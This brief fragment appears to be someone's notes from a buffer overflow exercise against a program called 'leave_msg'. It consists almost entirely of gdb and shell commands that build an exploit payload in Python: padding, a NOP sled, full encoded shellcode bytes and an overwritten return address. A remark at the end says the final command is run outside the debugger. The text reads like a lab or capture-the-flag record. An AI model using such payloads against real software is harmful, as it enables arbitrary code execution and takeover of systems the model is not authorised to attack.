(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')
new:
(gdb) run $(python -c 'print "\x55" * (2060 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xeb\xd9\x74\x24\xf4\x5d\x29\xc9\xb8\xfc\x4b\xe3\x50\xb1\x12\x31\x45\x17\x03\x45\x17\x83\x39\x4f\x01\xa5\xf0\x8b\x32\xa5\xa1\x68\xee\x40\x47\xe6\xf1\x25\x21\x35\x71\xd6\xf4\x75\x4d\x14\x86\x3f\xcb\x5f\xee\xc0\x2b\xa0\xef\x56\x2e\xa0\xfe\xfa\xa7\x41\xb0\x65\xe8\xd0\xe3\xda\x0b\x5a\xe2\xd0\x8c\x0e\x8c\x84\xa3\xdd\x24\x31\x93\x0e\xd6\xa8\x62\xb3\x44\x78\xfc\xd5\xd8\x75\x33\x95" + "\x8A\xD6\xFF\xFF"')
./leave_msg $(python -c 'print "\x55" * (2060 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xeb\xd9\x74\x24\xf4\x5d\x29\xc9\xb8\xfc\x4b\xe3\x50\xb1\x12\x31\x45\x17\x03\x45\x17\x83\x39\x4f\x01\xa5\xf0\x8b\x32\xa5\xa1\x68\xee\x40\x47\xe6\xf1\x25\x21\x35\x71\xd6\xf4\x75\x4d\x14\x86\x3f\xcb\x5f\xee\xc0\x2b\xa0\xef\x56\x2e\xa0\xfe\xfa\xa7\x41\xb0\x65\xe8\xd0\xe3\xda\x0b\x5a\xe2\xd0\x8c\x0e\x8c\x84\xa3\xdd\x24\x31\x93\x0e\xd6\xa8\x62\xb3\x44\x78\xfc\xd5\xd8\x75\x33\x95" + "\x8A\xD6\xFF\xFF"')
this is ran outside gdb